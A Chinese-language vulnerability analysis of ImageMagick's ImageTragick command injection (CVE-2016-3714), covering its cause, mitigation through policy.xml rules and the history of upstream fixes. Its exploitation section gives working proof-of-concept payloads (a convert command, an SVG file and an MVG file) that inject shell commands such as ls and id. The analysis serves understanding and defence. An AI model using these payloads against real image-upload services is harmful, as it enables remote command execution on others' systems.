1. 漏洞背景及利用方式
1.1 漏洞背景
ImageMagick 是一个应用非常广泛的开源图像处理套件,提供了链接库和方便的命令行工具用于图片的剪裁、格式的转换等。很多的在线服务,如用户头像编辑、图片上传等,均使用了 ImageMagick。
Imagemagick 支持调用外部程序来处理文件(delegate),并根据不同的文件模式来调用不同的命令或动态库,相关操作映射记录在代码以及配置文件中(/etc/ImageMagick/delegates.xml)。
其主要通过 system() 函数调用外部命令,命令的拼接过程进行了一定的过滤和处理(SanitizeDelegateCommand())。拼接过程中利用 “%M” 占位符进行字符串替换,比如 https pattern 处理逻辑如下:
1 |
"wget" -q -O "%o" "https:%M" |
这里 “%M” 会被完全替换成用户输入的数据,因此造成命令注入。 其他 pattern 的漏洞利用不尽相同,这里就不展开了。
(附:漏洞修复前的 delegates.xml: https://github.com/ImageMagick/ImageMagick6/blob/c0a407d58b92a9e8285c6bf1cc31bc836d6ea467/config/delegates.xml.in
1.2 利用方式
由于漏洞版本的 ImageMagick 会根据文件头数据判断文件类型,因此利用方式较多,且可以绕过一些 Web 系统对文件后缀的过滤
-
POC 1: 命令行参数的简单验证
12convert 'https://example.com";ls -la"' out.pngconvert 'https://example.com";|ls "-la' out.png -
POC2: SVG 文件利用
1234<?xml version="1.0" standalone="no"?><svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="https://localhost/test.jpg"|lsb_release -a;id;"" x="0" y="0" height="640px" width="480px"/></svg> -
POC 3: MVG 文件利用 (可改后缀名为 png )
1234push graphic-contextviewbox 0 0 640 480fill 'url(https://example.com/image.jpg";ls "-la)'pop graphic-context
2. 缓解/修复方式
2.1 临时缓解/止血
在 ImageMagick 策略配置(/etc/ImageMagick/policy.xml)中禁用相关 pattern 的 “delegate” 操作。
实际上 ImageMagick 在 2014年开始提供 policy.xml 配置,其出发点就是为了防止 DoS 拒绝服务或者其他类型的利用,并特地提到了 MVG 和 HTTPS
(https://legacy.imagemagick.org/discourse-server/viewtopic.php?f=4&t=26801)
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="HTTP" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="FTP" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="LABEL" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" /> <policy domain="path" rights="none" pattern="@*" /> |
2.2 源码修复(主要列举命令注入部分的修复逻辑)
修复记录 | Commit 时间 | Release 版本 | 改动文件 | 修复方式 | git commit |
---|---|---|---|---|---|
第 1 次修复 | 2016/04/30 | 6.9.3-9 | delegate.xml.in property.c ...... |
1. XML配置中,占位符 %M 替换为 %F 2. GetMagickPropertyLetter() 对 %F 进行替换时,白名单之外的字符被替换为 ''; 白名单 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-.@&;<>()/\\'\":%=~`> |
Sanitize input filename for http / https delegates https://github.com/ImageMagick/ImageMagick6/commit/2c04b05f205b5198f4c01b0c86097cba2b218fcf |
第 2 次修复 | 2016/05/02 | 6.9.3-10 | property.c | 修改字符白名单 ^-ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+&@#/%?=~_|!:,.;() (双引号和空格被移除) |
Second effort to sanitize input string https://github.com/ImageMagick/ImageMagick6/commit/091b7b46e132cd7b4142e7b81ac7764502c7e08b |
第 3 次修复 | 2016/05/06 | 6.9.4-0 | delegate.c | 修改代码中的默认配置,占位符 %M 替换为 %F | Use %F instead of %M for zero-configuration delegates https://github.com/ImageMagick/ImageMagick6/commit/bad47e6eec9c2238c21ea06b0efa48bc4ffd0f53 |
后续变更 1 | 2016/05/09 | 6.9.4-1 | delegate.xml.in ...... |
xml 配置中移除 https delegate 支持 | Remove https delegate https://github.com/ImageMagick/ImageMagick6/commit/d540ddab44157cdce339a9978953b462f1c977c9 |
后续变更 2 | 2016/05/14 | 6.9.4-2 | delegate.xml.in property.c delegate.c |
1. 重新添加 https delegate 支持 2. xml 文件中的 %F 占位符换为 %M 3. GetMagickPropertyLetter() 函数从 property.c 复制至 delegate.c, 并对所有类型的 property 进行字符白名单过滤,不只局限于 %F 或 %M |
Introduce InterpretDelegateProperties() https://github.com/ImageMagick/ImageMagick6/commit/c5b97bc95f4a87edae02ae911aad5accd4279682 Strengthen security with sanitized delegate properties https://github.com/ImageMagick/ImageMagick6/commit/78c7532f3ff5424de06e5d807cbb35c041bd2990 |
3. 参考资料
- https://imagetragick.com/
- https://www.openwall.com/lists/oss-security/2016/05/03/18
- https://legacy.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588
- https://legacy.imagemagick.org/discourse-server/viewtopic.php?f=4&t=26801
- https://access.redhat.com/security/vulnerabilities/ImageTragick
- https://access.redhat.com/errata/RHSA-2016:0726
- https://bugzilla.redhat.com/show_bug.cgi?id=1332492
- https://access.redhat.com/security/cve/cve-2016-3714
- CVE-2016-3714 - ImageMagick 命令执行分析 (源码链接错误,指向了 ImageMagick7; 影响分析部分列举了数个 wooyun 报告)
- ImageMagick 命令执行漏洞(CVE-2016–3714)环境 (源码链接错误,指向了 ImageMagick7)